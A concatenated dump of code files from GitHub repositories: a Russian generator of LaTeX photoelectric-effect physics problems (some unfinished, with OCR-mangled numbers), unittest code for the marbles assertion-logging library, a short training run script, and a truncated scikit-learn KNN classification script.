+{"seq_id":"16461515002","text":"import generators.variant as variant\n\nfrom generators.helpers import Fraction, Consts, UnitValue\n\n\n@variant.text('''\n    Переведите в джоули:\n    \\\\begin{itemize}\n        \\\\item {E0:V:e},\n        \\\\item {E1:V:e},\n        \\\\item {E2:V:e},\n        \\\\item {E3:V:e},\n        \\\\item {E4:V:e},\n        \\\\item {E5:V:e},\n    \\\\end{itemize}\n''')\n@variant.solution_space(40)\n@variant.arg(E0=['1 эВ'])\n@variant.arg(E1='1.3/2.1/3.2/4.3 эВ')\n@variant.arg(E2='1.4/13.5/4.6/5.7 МэВ')\n@variant.arg(E3='1.5/5.1/6.2/7.3 кэВ')\n@variant.arg(E4='1.6/7.2/8.3/9.4 10^{-3} эВ')\n@variant.arg(E5='1.7/3.3/5.4 10^7 эВ')\n@variant.answer_align([\n    '{E0:V} &\\\\approx {E0_eV:V}',\n    '{E1:V} &\\\\approx {E1_eV:V}',\n    '{E2:V} &\\\\approx {E2_eV:V}',\n    '{E3:V} &\\\\approx {E3_eV:V}',\n    '{E4:V} &\\\\approx {E4_eV:V}',\n    '{E5:V} &\\\\approx {E5_eV:V}',\n])\n@variant.is_one_arg\nclass Energy_from_eV(variant.VariantTask):\n    def GetUpdateOneArg(self, a):\n        return dict(\n            E0_eV=(a.E0 * 1).IncPrecision(1).As('Дж'),\n            E1_eV=(a.E1 * 1).IncPrecision(1).As('Дж'),\n            E2_eV=(a.E2 * 1).IncPrecision(1).As('Дж'),\n            E3_eV=(a.E3 * 1).IncPrecision(1).As('Дж'),\n            E4_eV=(a.E4 * 1).IncPrecision(1).As('Дж'),\n            E5_eV=(a.E5 * 1).IncPrecision(1).As('Дж'),\n        )\n\n\n@variant.text('''\n    Переведите в электронвольты:\n    \\\\begin{itemize}\n        \\\\item {E0:V:e},\n        \\\\item {E1:V:e},\n        \\\\item {E2:V:e},\n        \\\\item {E3:V:e},\n        \\\\item {E4:V:e},\n        \\\\item {E5:V:e},\n    \\\\end{itemize}\n''')\n@variant.solution_space(40)\n@variant.arg(E0=['1 Дж'])\n@variant.arg(E1='1.3/2.1/3.2/4.3 Дж')\n@variant.arg(E2='1.4/13.5/4.6/5.7 мкДж')\n@variant.arg(E3='1.5/5.1/6.2/7.3 кДж')\n@variant.arg(E4='1.6/7.2/8.3/9.4 10^{-17} Дж')\n@variant.arg(E5='1.7/3.3/5.4 10^{-21} Дж')\n@variant.answer_align([\n    '{E0:V} &\\\\approx {E0_eV:V}',\n    '{E1:V} &\\\\approx {E1_eV:V}',\n    '{E2:V} &\\\\approx {E2_eV:V}',\n    '{E3:V} &\\\\approx {E3_eV:V}',\n    '{E4:V} &\\\\approx {E4_eV:V}',\n    '{E5:V} &\\\\approx {E5_eV:V}',\n])\n@variant.is_one_arg\nclass Energy_to_eV(variant.VariantTask):\n    def GetUpdateOneArg(self, a):\n        return dict(\n            E0_eV=(a.E0 * 1).IncPrecision(1).As('эВ'),\n            E1_eV=(a.E1 * 1).IncPrecision(1).As('эВ'),\n            E2_eV=(a.E2 * 1).IncPrecision(1).As('эВ'),\n            E3_eV=(a.E3 * 1).IncPrecision(1).As('эВ'),\n            E4_eV=(a.E4 * 1).IncPrecision(1).As('эВ'),\n            E5_eV=(a.E5 * 1).IncPrecision(1).As('эВ'),\n        )\n\n\n@variant.text('''\n    Свет с энергией кванта {E:V:e} вырывает из металлической пластинки электроны,\n    имеющие максимальную кинетическую энергию {K:V:e}.\n    Найдите работу выхода (в эВ) электрона из этого металла.\n''')\n@variant.solution_space(80)\n@variant.arg(E='3.5/3.8/4.1 эВ')\n@variant.arg(K='1.5/1.7/1.8 эВ')\n@variant.answer_short('A = E - K \\\\approx {A:V}')\n@variant.is_one_arg\nclass Chernoutsan_13_66(variant.VariantTask):\n    def GetUpdateOneArg(self, a):\n        return dict(\n            A=(a.E - a.K).IncPrecision(1).As('эВ'),\n        )\n\n\n@variant.text('''\n    Какой максимальной кинетической энергией (в эВ) обладают электроны,\n    вырванные из металла при действии на него ультрафиолетового излучения с длиной волны {lmbd:V:e},\n    если работа выхода электрона {A:V:e}? Постоянная Планка {Consts.h:Task:e}, заряд электрона {Consts.e:Task:e}.\n''')\n@variant.solution_space(80)\n@variant.arg(A='A = 2.8/3.2/3.4 10^{-19} Дж')\n@variant.arg(lmbd='\\\\lambda = 0.25/0.33/0.40 мкм')\n@variant.answer_short('K = \\\\frac{hc}{lmbd:L:s} - A \\\\approx {K:V}')\n@variant.is_one_arg\nclass Chernoutsan_13_67(variant.VariantTask):\n    def GetUpdateOneArg(self, a):\n        K = Consts.c * Consts.h / a.lmbd - a.A\n        assert K.SI_Value > 0\n        return dict(\n            K=K.As('эВ'),\n        )\n\n\n@variant.text('''\n    Чему равно задерживающее напряжение для фотоэлектронов, вырываемых с поверхности металла светом\n    с энергией фотонов {E:V:e}, если работа выхода из этого металла {A:V:e}? Заряд электрона {Consts.e:Task:e}.\n''')\n@variant.solution_space(80)\n@variant.arg(E='E = 6.3/7.8/8.5/9.2 10^{-19} Дж')\n@variant.arg(A='A = 3/4/5 10^{-19} Дж')\n@variant.answer_short('eU = K = E - A \\\\implies U = \\\\frac{E - A}{ e } \\\\approx {U:V}')\n@variant.is_one_arg\nclass Chernoutsan_13_68(variant.VariantTask):\n    def GetUpdateOneArg(self, a):\n        U = (a.E - a.A) / Consts.e\n        assert U.SI_Value > 0\n        return dict(\n            U=U.IncPrecision(1),\n        )\n\n\n@variant.text('''\n    Красная граница фотоэффекта для некоторого металла соответствует длине волны {lmbd0:V:e}.\n    Чему равно напряжение, полностью задерживающее фотоэлектроны, вырываемые из этого металла излучением\n    с длиной волны {lmbd:V:e}? Постоянная Планка {Consts.h:Task:e}, заряд электрона {Consts.e:Task:e}.\n''')\n@variant.solution_space(80)\n@variant.arg(lmbd0='\\\\lambda_0 = 5.3/5.7/6.2/6.6 10^{-7} м')\n@variant.arg(lmbd='\\\\lambda = 1.7/2.2/2.6/3.2 10^{-5} см')\n@variant.answer_short('eU = K = E - A = \\\\frac{hc}{lmbd:L:s} - A, \\\\qquad 0 = \\\\frac{hc}{lmbd0:L:s} - A \\\\implies U = \\\\frac{ \\\\frac{hc}{lmbd:L:s} - \\\\frac{hc}{lmbd0:L:s} }{ e } = \\\\frac{hc}{ e }\\\\cbr{ \\\\frac 1{lmbd:L:s} - \\\\frac 1{lmbd0:L:s}}  \\\\approx {U:V}')\n@variant.is_one_arg\nclass Chernoutsan_13_69(variant.VariantTask):\n    def GetUpdateOneArg(self, a):\n        U1 = Consts.h * Consts.c / Consts.e / a.lmbd\n        U2 = Consts.h * Consts.c / Consts.e / a.lmbd0\n        U = U1 - U2\n        assert U.SI_Value > 0\n        return dict(\n            U=U,\n        )\n\n\n@variant.text('''\n    Определите длину волны (в нм) света, которым освещается поверхность металла,\n    если фотоэлектроны имеют максимальную кинетическую энергию {K:V:e},\n    а работа выхода электронов из этого металла {A:V:e}. Постоянная Планка {Consts.h:Task:e}.\n''')\n@variant.solution_space(80)\n@variant.arg(K='E_{\\\\text{кин.}} = 3/4/5/9 10^{-20} Дж')\n@variant.arg(A='A_{\\\\text{вых.}} = 7/9/11/13 10^{-19} Дж')\n@variant.answer_short(\n    'h \\\\frac c\\\\lambda = {A:L} + {K:L} '\n    '\\\\implies \\\\lambda = \\\\frac{h c}{{A:L} + {K:L}} = \\\\frac{ {Consts.h:V} * {Const.c:V} }{{A:V} + {K:V}} '\n    '\\\\approx {lmbd:V}.'\n)\n@variant.is_one_arg\nclass Chernoutsan_13_70(variant.VariantTask):\n    def GetUpdateOneArg(self, a):\n        lmbd = Consts.h * Consts.c / (a.A + a.K)\n        return dict(\n            lmbd=lmbd.IncPrecision(1),\n        )\n\n\n@variant.text('''\n    Работа выхода электронов из некоторого металла {A:V:e}. Найдите скорость электронов (в км/с),\n    вылетающих с поверхности металла при освещении его светом с длиной волны {lmbd:V:e}.\n    Масса электрона {Consts.m_e:Task:e}. Постоянная Планка {Consts.h:Task:e}, заряд электрона {Consts.e:Task:e}.\n''')\n@variant.solution_space(80)\n@variant.arg(A='A_{\\\\text{вых.}} = 2.1/3.4/4.3 эВ')\n@variant.arg(lmbd='\\\\lambda = 1.7/2.2/2.7 10^{-5} см')\n@variant.answer_short(\n    'h \\\\frac c\\\\lambda = {A:L} + \\\\frac{ {Consts.m_e:L}v^2 }2 '\n    '\\\\implies v = \\\\sqrt{ \\\\frac 2{Consts.m_e:L:s}\\\\cbr{ h \\\\frac c\\\\lambda - {A:L} } } \\\\approx {v:V}.'\n)\n@variant.is_one_arg\nclass Chernoutsan_13_71(variant.VariantTask):\n    def GetUpdateOneArg(self, a):\n        vv = (Consts.h * Consts.c / a.lmbd - a.A) * 2 / Consts.m_e\n        assert vv.SI_Value > 0, [a.lmbd, a.A]\n        v_value = float(vv.SI_Value) ** 0.5\n        v = UnitValue(f'v = {v_value / 1000:.1f} км / c')\n        return dict(\n            v=v,\n        )\n\n\n@variant.text('''\n    Работа выхода электронов из некоторого металла {A:V:e}.\n    На металл падают фотоны с импульсом {p:V:e}.\n    Во сколько раз максимальный импульс электронов, вылетающих с поверхности металла при фотоэффекте,\n    больше импульса падающих фотонов? Масса электрона {Consts.m_e:Task:e}.\n''')\n@variant.solution_space(80)\n@variant.arg(A='A_{\\\\text{вых.}} = 3.4/4.3 эВ')\n@variant.arg(p='p = 2.4/2.7/3.0 10**-27 кг м / с')\n@variant.answer_short(\n        'h \\\\frac c\\\\lambda = {A:L} + \\\\frac{p_e^2}{2m}, p=\\\\frac h\\\\lambda'\n        '\\\\implies p_e = \\\\sqrt{2m\\\\cbr{pc - {A:L}}} '\n        '\\\\implies \\\\frac{p_e}p = \\\\sqrt{\\\\frac{2m}p \\\\cbr{c - \\\\frac{A:L:s}p } } \\\\approx {r:.2f}'\n)\n@variant.is_one_arg\nclass Chernoutsan_13_72(variant.VariantTask):\n    def GetUpdateOneArg(self, a):\n        rr = Consts.m_e * 2 / a.p * (Consts.c - a.A.IncPrecision(1) / a.p.IncPrecision(1))\n        assert rr.SI_Value > 0\n        return dict(\n            r=float(rr.SI_Value) ** 0.5,\n        )\n\n\n@variant.text('''\n    Электрон вылетает из металлической пластинки с кинетической энергией 1,8 эВ.\n    Какова длина волны света, вызывающего фотоэффект, если работа выхода электрона\n    из металла равна 1,3 эВ? 1эВ = 1,6:10°° Дж, постоянная Планка {Const.h:Task:e},\n    модуль заряда электрона {Const.e:Task:e}, скорость света {Const.c:Task:e}.\n''')\n@variant.solution_space(80)\n@variant.arg(A='A = 1/2/3 a')\n@variant.answer_align([\n])\n@variant.is_one_arg\nclass Vishnyakova_5_1_1(variant.VariantTask):\n    def GetUpdateOneArg(self, a):\n        return dict(\n            B=a.A,\n        )\n\n\n@variant.text('''\n    Кинетическая энергия фотоэлектрона составляет 25% от работы выхода.\n    Во сколько раз энергия фотона, вырвавшего электрон, больше работы выхода?\n''')\n@variant.solution_space(80)\n@variant.arg(A='A = 1/2/3 a')\n@variant.answer_align([\n])\n@variant.is_one_arg\nclass Vishnyakova_5_1_2(variant.VariantTask):\n    def GetUpdateOneArg(self, a):\n        return dict(\n            B=a.A,\n        )\n\n\n@variant.text('''\n    Найти потенциал, до которого может зарядиться металлическая пластина,\n    работа выхода электронов из которой 1,6 эВ, при длительном освещении\n    потоком фотонов с энергией 4 эВ. 1эВ = 1.6.1079 Дж, модуль заряда электрона {Const.e:Task:e}.\n''')\n@variant.solution_space(80)\n@variant.arg(A='A = 1/2/3 a')\n@variant.answer_align([\n])\n@variant.is_one_arg\nclass Vishnyakova_5_1_3(variant.VariantTask):\n    def GetUpdateOneArg(self, a):\n        return dict(\n            B=a.A,\n        )\n\n\n@variant.text('''\n    Наибольшая длина волны излучения, способного вызвать фотоэффект у платины,\n    равна 0,234 мкм. Какова наибольшая кинетическая энергия вырываемых электронов\n    при облучении платины излучением с частотой 1,5`10'° Гц?\n    Постоянная Планка {Const.h:Task:e}. Скорость света {Const.c:Task:e}.\n''')\n@variant.solution_space(80)\n@variant.arg(A='A = 1/2/3 a')\n@variant.answer_align([\n])\n@variant.is_one_arg\nclass Vishnyakova_5_1_4(variant.VariantTask):\n    def GetUpdateOneArg(self, a):\n        return dict(\n            B=a.A,\n        )\n\n\n@variant.text('''\n    При облучении некоторого металла светом частотой 2,2-10'° Гц\n    фототок прекращается при задерживающей разности потенциалов 6,6 В.\n    Определить красную границу фотоэффекта для этого металла.\n    Постоянная Планка {Const.h:Task:e}, модуль заряда электрона {Const.e:Task:e},\n    скорость света {Const.с:Task:e}.\n''')\n@variant.solution_space(80)\n@variant.arg(A='A = 1/2/3 a')\n@variant.answer_align([\n])\n@variant.is_one_arg\nclass Vishnyakova_5_1_5(variant.VariantTask):\n    def GetUpdateOneArg(self, a):\n        return dict(\n            B=a.A,\n        )\n\n\n@variant.text('''\n    Красная граница фотоэффекта для некоторого металла соответствует длине волны 275 нм.\n    Определите задерживающую разность потенциалов для фотоэлектронов,\n    вырываемых с поверхности этого металла при освещении его светом с частотой 4,6-10'° Гц.\n    Постоянная Планка {Const.h:Task:e}, модуль заряда электрона {Const.e:Task:e}, скорость света {Const.c:Task:e}.\n''')\n@variant.solution_space(80)\n@variant.arg(A='A = 1/2/3 a')\n@variant.answer_align([\n])\n@variant.is_one_arg\nclass Vishnyakova_5_1_6(variant.VariantTask):\n    def GetUpdateOneArg(self, a):\n        return dict(\n            B=a.A,\n        )\n\n\n@variant.text('''\n    На фотокатод, для которого красная граница фотоэффекта равна 240 нм,\n    приложено запирающее напряжение 1 В, при котором фототок прекратился.\n    Какова частота падающего на фотокатод света? Постоянная Планка {Const.h:Task:e},\n    модуль заряда электрона {Const.e:Task:e}, скорость света {Const.c:Task:e}.\n''')\n@variant.solution_space(80)\n@variant.arg(A='A = 1/2/3 a')\n@variant.answer_align([\n])\n@variant.is_one_arg\nclass Vishnyakova_5_1_7(variant.VariantTask):\n    def GetUpdateOneArg(self, a):\n        return dict(\n            B=a.A,\n        )\n\n\n@variant.text('''\n    При облучении некоторого металла светом с частотой 9.10“ Гц\n    фототок прекращается при задерживающей разности потенциалов 1,8 В.\n    Найти задерживающую разность потенциалов для излучения с частотой Ш: 105 Гц.\n    Постоянная Планка {Const.h:Task:e}, модуль заряда электрона {Const.e:Task:e}.\n''')\n@variant.solution_space(80)\n@variant.arg(A='A = 1/2/3 a')\n@variant.answer_align([\n])\n@variant.is_one_arg\nclass Vishnyakova_5_1_8(variant.VariantTask):\n    def GetUpdateOneArg(self, a):\n        return dict(\n            B=a.A,\n        )\n","repo_name":"burmisha/latex","sub_path":"generators/atomic/photoeffect.py","file_name":"photoeffect.py","file_ext":"py","file_size_in_byte":15602,"program_lang":"python","lang":"ru","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"}
+{"seq_id":"23409330450","text":"import collections.abc\nimport io\nimport json\nimport os\nimport sys\nimport tempfile\nimport unittest\nimport unittest.util\n\nfrom marbles.core import ContextualAssertionError\nfrom marbles.core import log\nfrom marbles.core import __version__\nimport tests.test_marbles as marbles_tests\n\n\nclass LoggingConfigureTestCase(unittest.TestCase):\n    '''Configures assertion logging during a test.\n\n    Assumes the subclass has a dict attr named 'log_config'.\n\n    During a test, one can get the results of logging so far with\n    ``self.assertion_logs()``.\n    '''\n\n    env_var_mapping = {\n        'logfile': 'MARBLES_LOGFILE',\n        'verbose': 'MARBLES_LOG_VERBOSE',\n        'attrs': 'MARBLES_TEST_CASE_ATTRS',\n        'verbose_attrs': 'MARBLES_TEST_CASE_ATTRS_VERBOSE',\n    }\n\n    def __init__(self, methodName='runTest', *, use_env=False, use_file=False,\n                 use_annotated_test_case=False, **kwargs):\n        super().__init__(methodName=methodName, **kwargs)\n        self._use_env = use_env\n        self._use_file = use_file\n        self._use_annotated_test_case = use_annotated_test_case\n\n    def __str__(self):\n        params = ', '.join(\n            '{}={!r}'.format(name, getattr(self, '_{}'.format(name)))\n            for name in ('use_env', 'use_file', 'use_annotated_test_case'))\n        return '{} ({}) ({})'.format(\n            self._testMethodName,\n            unittest.util.strclass(self.__class__),\n            params)\n\n    def setUpEnv(self):\n        if not isinstance(self.__config['logfile'], str):\n            raise unittest.SkipTest('can only use env vars to pass '\n                                    'filenames, not file objects')\n        self.new_env = {self.env_var_mapping[k]: v\n                        for k, v in self.__config.items()}\n        self.old_env = {k: os.environ.get(k)\n                        for k in self.new_env.keys()}\n        for k, v in self.new_env.items():\n            if isinstance(v, str):\n                os.environ[k] = v\n            elif isinstance(v, collections.abc.Sequence):\n                os.environ[k] = ','.join(str(x) for x in v)\n            else:\n                os.environ[k] = str(v)\n\n    def tearDownEnv(self):\n        # If we skipped the test in setUpEnv, we wouldn't have this,\n        # but we also don't need to do anything.\n        if hasattr(self, 'old_env'):\n            for k, v in self.old_env.items():\n                if v is None:\n                    del os.environ[k]\n                else:\n                    os.environ[k] = v\n\n    def setUpConfigure(self):\n        log.logger.configure(**self.__config)\n\n    def tearDownConfigure(self):\n        pass\n\n    def setUp(self):\n        super().setUp()\n        if self._use_annotated_test_case:\n            self.case = marbles_tests.ExampleAnnotatedTestCase()\n        else:\n            self.case = marbles_tests.ExampleTestCase()\n        self.__old_logger = log.logger\n        log.logger = log.AssertionLogger()\n        log.logger.configure()\n        self.__config = self.log_config.copy()\n        if self._use_file:\n            _, self._tmpfilename = tempfile.mkstemp()\n            self.__config['logfile'] = self._tmpfilename\n        else:\n            self.__file_handle = io.StringIO()\n            self.__config['logfile'] = self.__file_handle\n\n        if self._use_env:\n            self.setUpEnv()\n        else:\n            self.setUpConfigure()\n\n    def tearDown(self):\n        super().tearDown()\n        delattr(self, 'case')\n        if self._use_env:\n            self.tearDownEnv()\n        else:\n            self.tearDownConfigure()\n        if self._use_file:\n            log.logger.logfile.close()\n            os.remove(self._tmpfilename)\n        log.logger = self.__old_logger\n\n    def assertion_logs(self):\n        if self._use_file:\n            log.logger.logfile.flush()\n            with open(self._tmpfilename, 'r') as f:\n                lines = list(f.readlines())\n        else:\n            lines = self.__file_handle.getvalue().split('\\n')\n        return [json.loads(line) for line in lines if line]\n\n\nclass TestAssertionLogging(LoggingConfigureTestCase):\n\n    log_config = {}\n\n    def test_success(self):\n        '''On a successful assertion, do we log information?'''\n        self.case.test_success()\n        logs = self.assertion_logs()\n        self.assertEqual(len(logs), 1)\n        expected = {\n            'file': marbles_tests.__file__,\n            'assertion': 'assertTrue',\n            'marbles_version': __version__,\n            'args': ['True'],\n            'kwargs': [],\n        }\n        self.assertEqual({k: v for k, v in logs[0].items() if k in expected},\n                         expected)\n        for unexpected_key in ('locals', 'msg', 'note'):\n            self.assertNotIn(unexpected_key, logs[0])\n\n\nclass TestAssertionLoggingVerboseTrue(LoggingConfigureTestCase):\n\n    log_config = {'verbose': True}\n\n    def test_success(self):\n        '''On a successful assertion, do we respect verbose=True?'''\n        self.case.test_success()\n        logs = self.assertion_logs()\n        self.assertEqual(len(logs), 1)\n        expected = {\n            'file': marbles_tests.__file__,\n            'assertion': 'assertTrue',\n            'marbles_version': __version__,\n            'args': ['True'],\n            'kwargs': [],\n            'locals': [],\n            'msg': None,\n            'note': 'some note',\n        }\n        self.assertEqual({k: v for k, v in logs[0].items() if k in expected},\n                         expected)\n\n    def test_failure(self):\n        '''On a failed assertion, do we log information?'''\n        with self.assertRaises(ContextualAssertionError):\n            self.case.test_reverse_equality_positional_msg()\n        logs = self.assertion_logs()\n        self.assertEqual(len(logs), 1)\n        expected = {\n            'file': marbles_tests.__file__,\n            'assertion': 'assertReverseEqual',\n            'assertion_class': 'tests.test_marbles.ReversingTestCaseMixin',\n            'marbles_version': __version__,\n            'args': ['leif', 'leif'],\n            'kwargs': [],\n            'locals': [{'key': 's', 'value': 'leif'}],\n            'msg': 'some message',\n            'note': 'some note',\n        }\n        self.assertEqual({k: v for k, v in logs[0].items() if k in expected},\n                         expected)\n\n\nclass TestAssertionLoggingVerboseFalse(LoggingConfigureTestCase):\n\n    log_config = {'verbose': False}\n\n    def test_success(self):\n        '''On a successful assertion, do we respect verbose=False?'''\n        self.case.test_success()\n        logs = self.assertion_logs()\n        self.assertEqual(len(logs), 1)\n        expected = {\n            'file': marbles_tests.__file__,\n            'assertion': 'assertTrue',\n            'marbles_version': __version__,\n            'args': ['True'],\n            'kwargs': [],\n        }\n        self.assertEqual({k: v for k, v in logs[0].items() if k in expected},\n                         expected)\n        for unexpected_key in ('locals', 'msg', 'note'):\n            self.assertNotIn(unexpected_key, logs[0])\n\n    def test_failure(self):\n        '''On a failed assertion, do we log information?'''\n        with self.assertRaises(ContextualAssertionError):\n            self.case.test_reverse_equality_positional_msg()\n        logs = self.assertion_logs()\n        self.assertEqual(len(logs), 1)\n        expected = {\n            'file': marbles_tests.__file__,\n            'assertion': 'assertReverseEqual',\n            'assertion_class': 'tests.test_marbles.ReversingTestCaseMixin',\n            'marbles_version': __version__,\n            'args': ['leif', 'leif'],\n            'kwargs': [],\n            'locals': [{'key': 's', 'value': 'leif'}],\n            'msg': 'some message',\n            'note': 'some note',\n        }\n        self.assertEqual({k: v for k, v in logs[0].items() if k in expected},\n                         expected)\n\n\nclass TestAssertionLoggingVerboseList(LoggingConfigureTestCase):\n\n    log_config = {'verbose': ['msg', 'note']}\n\n    def test_success(self):\n        '''On a successful assertion, do we respect a verbose list?'''\n        self.case.test_success()\n        logs = self.assertion_logs()\n        self.assertEqual(len(logs), 1)\n        expected = {\n            'file': marbles_tests.__file__,\n            'assertion': 'assertTrue',\n            'marbles_version': __version__,\n            'args': ['True'],\n            'kwargs': [],\n            'msg': None,\n            'note': 'some note',\n        }\n        self.assertEqual({k: v for k, v in logs[0].items() if k in expected},\n                         expected)\n        for unexpected_key in ('locals',):\n            self.assertNotIn(unexpected_key, logs[0])\n\n    def test_failure(self):\n        '''On a failed assertion, do we log information?'''\n        with self.assertRaises(ContextualAssertionError):\n            self.case.test_reverse_equality_positional_msg()\n        logs = self.assertion_logs()\n        self.assertEqual(len(logs), 1)\n        expected = {\n            'file': marbles_tests.__file__,\n            'assertion': 'assertReverseEqual',\n            'assertion_class': 'tests.test_marbles.ReversingTestCaseMixin',\n            'marbles_version': __version__,\n            'args': ['leif', 'leif'],\n            'kwargs': [],\n            'locals': [{'key': 's', 'value': 'leif'}],\n            'msg': 'some message',\n            'note': 'some note',\n        }\n        self.assertEqual({k: v for k, v in logs[0].items() if k in expected},\n                         expected)\n\n\nclass TestAssertionLoggingAttributeCapture(LoggingConfigureTestCase):\n\n    log_config = {'attrs': ['longMessage']}\n\n    def test_capture_test_case_attributes(self):\n        '''Can we capture other attributes of a TestCase?'''\n        self.case.test_success()\n        logs = self.assertion_logs()\n        self.assertEqual(len(logs), 1)\n        expected = {\n            'assertion': 'assertTrue'\n        }\n        self.assertEqual({k: v for k, v in logs[0].items() if k in expected},\n                         expected)\n        self.assertNotIn('longMessage', logs[0])\n\n    def test_capture_test_case_attributes_on_failure(self):\n        '''Can we capture other attributes of a TestCase on failure?'''\n        with self.assertRaises(ContextualAssertionError):\n            self.case.test_failure()\n        logs = self.assertion_logs()\n        self.assertEqual(len(logs), 1)\n        expected = {\n            'assertion': 'assertTrue',\n            'longMessage': 'This is a long message'\n        }\n        self.assertEqual({k: v for k, v in logs[0].items() if k in expected},\n                         expected)\n\n\nclass TestAssertionLoggingVerboseAttributeCapture(LoggingConfigureTestCase):\n\n    log_config = {'verbose_attrs': ['longMessage']}\n\n    def test_capture_test_case_attributes(self):\n        '''Can we capture other attributes of a TestCase?'''\n        self.case.test_success()\n        logs = self.assertion_logs()\n        self.assertEqual(len(logs), 1)\n        expected = {\n            'assertion': 'assertTrue',\n            'longMessage': 'This is a long message'\n        }\n        self.assertEqual({k: v for k, v in logs[0].items() if k in expected},\n                         expected)\n\n    def test_capture_test_case_attributes_on_failure(self):\n        '''Can we capture other attributes of a TestCase on failure?'''\n        with self.assertRaises(ContextualAssertionError):\n            self.case.test_failure()\n        logs = self.assertion_logs()\n        self.assertEqual(len(logs), 1)\n        expected = {\n            'assertion': 'assertTrue',\n            'longMessage': 'This is a long message'\n        }\n        self.assertEqual({k: v for k, v in logs[0].items() if k in expected},\n                         expected)\n\n\nclass TestAssertionLoggingRespectsEnvOverrides(LoggingConfigureTestCase):\n    '''Tests that we can override log.logger.configure() with env vars.'''\n\n    log_config = {'logfile': '/path/does/not/exist',\n                  'verbose': False,\n                  'attrs': ['longMessage']}\n\n    def setUp(self):\n        if self._use_env:\n            raise unittest.SkipTest(\n                'Only testing when the base class sets up with configure()')\n        self._use_file = True\n        super().setUp()\n        self.old_logfile = os.environ.get('MARBLES_LOGFILE')\n        _, self._tmpfilename = tempfile.mkstemp()\n        os.environ['MARBLES_LOGFILE'] = self._tmpfilename\n\n    def tearDown(self):\n        super().tearDown()\n        if self.old_logfile is None:\n            del os.environ['MARBLES_LOGFILE']\n        else:\n            os.environ['MARBLES_LOGFILE'] = self.old_logfile\n        delattr(self, 'old_logfile')\n        if hasattr(self, 'old_verbose'):\n            if self.old_verbose is None:\n                del os.environ['MARBLES_LOG_VERBOSE']\n            else:\n                os.environ['MARBLES_LOG_VERBOSE'] = self.old_verbose\n\n    def test_success(self):\n        '''On a successful assertion, do we log information?'''\n        self.case.test_success()\n        logs = self.assertion_logs()\n        self.assertEqual(len(logs), 1)\n        expected = {\n            'file': marbles_tests.__file__,\n            'assertion': 'assertTrue',\n            'marbles_version': __version__,\n            'args': ['True'],\n            'kwargs': [],\n        }\n        self.assertEqual({k: v for k, v in logs[0].items() if k in expected},\n                         expected)\n        for unexpected_key in ('locals', 'msg', 'note'):\n            self.assertNotIn(unexpected_key, logs[0])\n\n    def test_verbose_override(self):\n        '''On a successful assertion, do we log information?'''\n        self.old_verbose = os.environ.get('MARBLES_LOG_VERBOSE')\n        os.environ['MARBLES_LOG_VERBOSE'] = 'true'\n        self.case.test_success()\n        logs = self.assertion_logs()\n        self.assertEqual(len(logs), 1)\n        expected = {\n            'file': marbles_tests.__file__,\n            'assertion': 'assertTrue',\n            'marbles_version': __version__,\n            'args': ['True'],\n            'kwargs': [],\n            'locals': [],\n            'msg': None,\n            'note': 'some note',\n        }\n        self.assertEqual({k: v for k, v in logs[0].items() if k in expected},\n                         expected)\n\n\ndef load_tests(loader, tests, pattern):\n    suite = unittest.TestSuite()\n    module = sys.modules[__name__]\n    objs = [getattr(module, name) for name in dir(module)]\n    test_classes = [obj for obj in objs\n                    if (isinstance(obj, type)\n                        and issubclass(obj, unittest.TestCase))]\n\n    for use_annotated_test_case in (True, False):\n        for cls in test_classes:\n            for name in loader.getTestCaseNames(cls):\n                suite.addTest(\n                    cls(\n                        methodName=name,\n                        use_env=False,\n                        use_file=False,\n                        use_annotated_test_case=use_annotated_test_case\n                    )\n                )\n        for cls in test_classes:\n            for name in loader.getTestCaseNames(cls):\n                suite.addTest(\n                    cls(\n                        methodName=name,\n                        use_env=False,\n                        use_file=True,\n                        use_annotated_test_case=use_annotated_test_case\n                    )\n                )\n        for cls in test_classes:\n            for name in loader.getTestCaseNames(cls):\n                suite.addTest(\n                    cls(\n                        methodName=name,\n                        use_env=True,\n                        use_file=True,\n                        use_annotated_test_case=use_annotated_test_case\n                    )\n                )\n\n    return suite\n","repo_name":"twosigma/marbles","sub_path":"marbles/core/tests/test_log.py","file_name":"test_log.py","file_ext":"py","file_size_in_byte":15772,"program_lang":"python","lang":"en","doc_type":"code","stars":116,"dataset":"github-code","pt":"37"}
+{"seq_id":"11792425506","text":"from models.trainer import Trainer\nfrom argparse import ArgumentParser\n\n\nif __name__ == \"__main__\":\n    parser = ArgumentParser()\n    parser.add_argument(\"--n_neighbors\", dest=\"n_neighbors\", help=\"n_neighbors\", default=3, type=int)\n    args = parser.parse_args()\n\n    print(args)\n    \n    trainer = Trainer(args.n_neighbors)\n    score = trainer.train_model()\n    print(score)\n","repo_name":"AlexKay28/mlops","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":376,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"21956404903","text":"from sklearn.model_selection import train_test_split\r\nfrom sklearn.neighbors import KNeighborsClassifier\r\nimport pandas as pd\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom sklearn.metrics import confusion_matrix\r\nfrom sklearn.metrics import classification_report\r\nimport mglearn.tools\r\nfrom pylab import *\r\n\r\nmpl.rcParams['font.sans-serif'] = ['stsong']#显示中文\r\nmpl.rcParams['font.size']=30#14\r\nplt.rcParams['axes.unicode_minus'] = False#显示负号\r\n\r\n\r\n\r\n\r\ndata_train=pd.read_excel('train.xlsx',index_col=0)\r\ndata_text=pd.read_excel('test.xlsx',index_col=0)\r\n\r\nprint(data_train.corr())\r\nX_train=data_train.iloc[:,0:-1]\r\nX_text=data_text.iloc[:,0:-1]\r\ny_train=data_train.iloc[:,-1]\r\ny_text=data_text.iloc[:,-1]\r\n\r\nPM_dataframe=pd.DataFrame(X_train,columns=data_train.iloc[:,0:-1].columns)\r\ngrr=pd.plotting.scatter_matrix(PM_dataframe,c=y_train,figsize=(15,15),marker='o',\r\n                               hist_kwds={'bins':20},s=60,alpha=0.8,cmap=mglearn.cm3)\r\nplt.show()\r\nknn=KNeighborsClassifier(n_neighbors=2)\r\nknn.fit(X_train,y_train)\r\npred=knn.predict(X_text)\r\nprint(knn.score(X_text,y_text))#测试精度\r\nprint(confusion_matrix(y_text,pred))#混淆矩阵\r\nscores=mglearn.tools.heatmap(\r\n    confusion_matrix(y_text,pred),xlabel='预测等级',\r\n    